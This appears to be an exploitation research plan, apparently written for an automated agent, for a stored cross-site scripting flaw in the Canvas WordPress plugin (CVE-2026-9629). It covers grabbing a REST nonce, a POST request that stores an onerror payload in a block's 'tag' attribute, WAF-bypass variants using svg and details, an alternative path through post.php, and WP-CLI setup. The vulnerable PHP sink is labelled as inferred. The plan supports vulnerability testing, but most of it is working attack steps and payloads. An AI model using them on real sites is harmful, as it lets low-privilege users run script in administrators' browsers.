Canvas <= 2.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tag' Block Attribute

This exploitation research plan targets CVE-2026-9629, a Stored Cross-Site Scripting (XSS) vulnerability in the Canvas plugin (<= 2.5.2).

1. Vulnerability Summary

The Canvas plugin for WordPress fails to sanitize or validate the tag attribute used in its Gutenberg blocks. While the plugin provides various structural blocks (Alert, Section Heading, Row, Column, etc.), some of these blocks allow the user to define the HTML element used for rendering (e.g., choosing between h1, div, or section). Because this tag attribute is echoed directly into the frontend HTML without using esc_attr() or a whitelist of allowed tags, an authenticated user with at least Contributor level access can inject malicious payloads that execute when any user views the affected page.

2. Attack Vector Analysis

• Endpoint: WordPress REST API Post creation/update endpoint (/wp-json/wp/v2/posts).
• Vulnerable Attribute: tag within a Canvas block's JSON metadata.
• Authentication: Required (Contributor or above).
• Preconditions: The plugin must be active. The attacker needs the ability to save a post (Contributor can save drafts).
• Payload Location: The payload is stored in the post_content field within the Gutenberg block comment delimiters.

3. Code Flow

1. Block Definition (JS): In the block editor, a Canvas block (e.g., canvas/section-heading or a similar wrapper block) allows selecting an HTML tag via the Inspector controls. This is saved as an attribute named tag.
2. Storage: When the Contributor saves a draft, WordPress stores the block in the wp_posts table. The content looks like:
   <!-- wp:canvas/section-heading {"tag":"[PAYLOAD]"} /-->
3. Rendering (PHP): When the post is viewed, the plugin's rendering logic (typically in a render.php file for the specific block) retrieves the attributes.
4. The Sink: The rendering code performs a string concatenation to build the HTML tag:

   // Inferred logic based on typical Gutenberg render patterns in Canvas
   $tag = $attributes['tag']; 
   echo '<' . $tag . ' class="...">'; // Vulnerable Sink: No escaping or tag whitelisting
   

5. Execution: The browser receives the malformed tag (e.g., <img src=x onerror=alert(1) class="...">) and executes the injected script.

4. Nonce Acquisition Strategy

To exploit the REST API as a Contributor, a valid wp_rest nonce is required.

1. Login: Authenticate as a Contributor user.
2. Navigation: Use browser_navigate to go to the "Add New Post" page: http://[TARGET]/wp-admin/post-new.php.
3. Extraction: The WordPress block editor (Gutenberg) automatically localizes the required nonce into the wpApiSettings object.
4. Tool Call:

   browser_eval("window.wpApiSettings?.nonce")
   

   This will return the nonce required for the X-WP-Nonce header in subsequent REST API requests.

5. Exploitation Strategy

The goal is to create a post containing a Canvas block with a malicious tag attribute.

Step 1: Create a Post with XSS Payload

• Tool: http_request
• Method: POST
• URL: http://[TARGET]/wp-json/wp/v2/posts
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

  {
    "title": "XSS Test Page",
    "content": "<!-- wp:canvas/section-heading {\"tag\":\"img src=x onerror=alert(document.domain) //\"} /-->",
    "status": "draft"
  }
  

  (Note: The // at the end of the payload helps neutralize the rest of the generated opening tag string.)

Step 2: Obtain the Post ID
The response from Step 1 will contain the id and the link of the newly created post.

Step 3: Trigger the XSS

• Action: Navigate to the post URL (the link returned in Step 1).
• Mechanism: If the Contributor cannot publish, the researcher must navigate to the preview URL or simulate an Administrator viewing the draft.

6. Test Data Setup

1. User Creation: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Plugin State: Ensure the canvas plugin is installed and activated.

   wp plugin activate canvas
   

7. Expected Results

• The HTTP response from the REST API should be 201 Created.
• The post_content in the database will store the raw payload.
• When viewing the post, the HTML source will contain:
  <img src=x onerror=alert(document.domain) // class="cnvs-section-heading ...">
• The browser will trigger an alert box showing the document domain.

8. Verification Steps

After the exploit attempt, verify the storage of the payload via WP-CLI:

wp post list --post_type=post --format=csv
# Get the ID of the "XSS Test Page"
wp post get [ID] --field=post_content

Check for the presence of the onerror string in the output.

9. Alternative Approaches

If the canvas/section-heading block is not available, check for other Canvas blocks that likely use the tag attribute:

• canvas/column
• canvas/row
• canvas/wrapper (inferred)

If an img tag is blocked by a WAF, use a details or svg payload:

• "tag":"details/ontoggle=alert(1) open "
• "tag":"svg/onload=alert(1) "

If the REST API is restricted, the exploit can be performed via the standard WordPress post.php admin handler by sending a POST request to wp-admin/post.php?post=[ID]&action=edit with the content parameter containing the malicious block.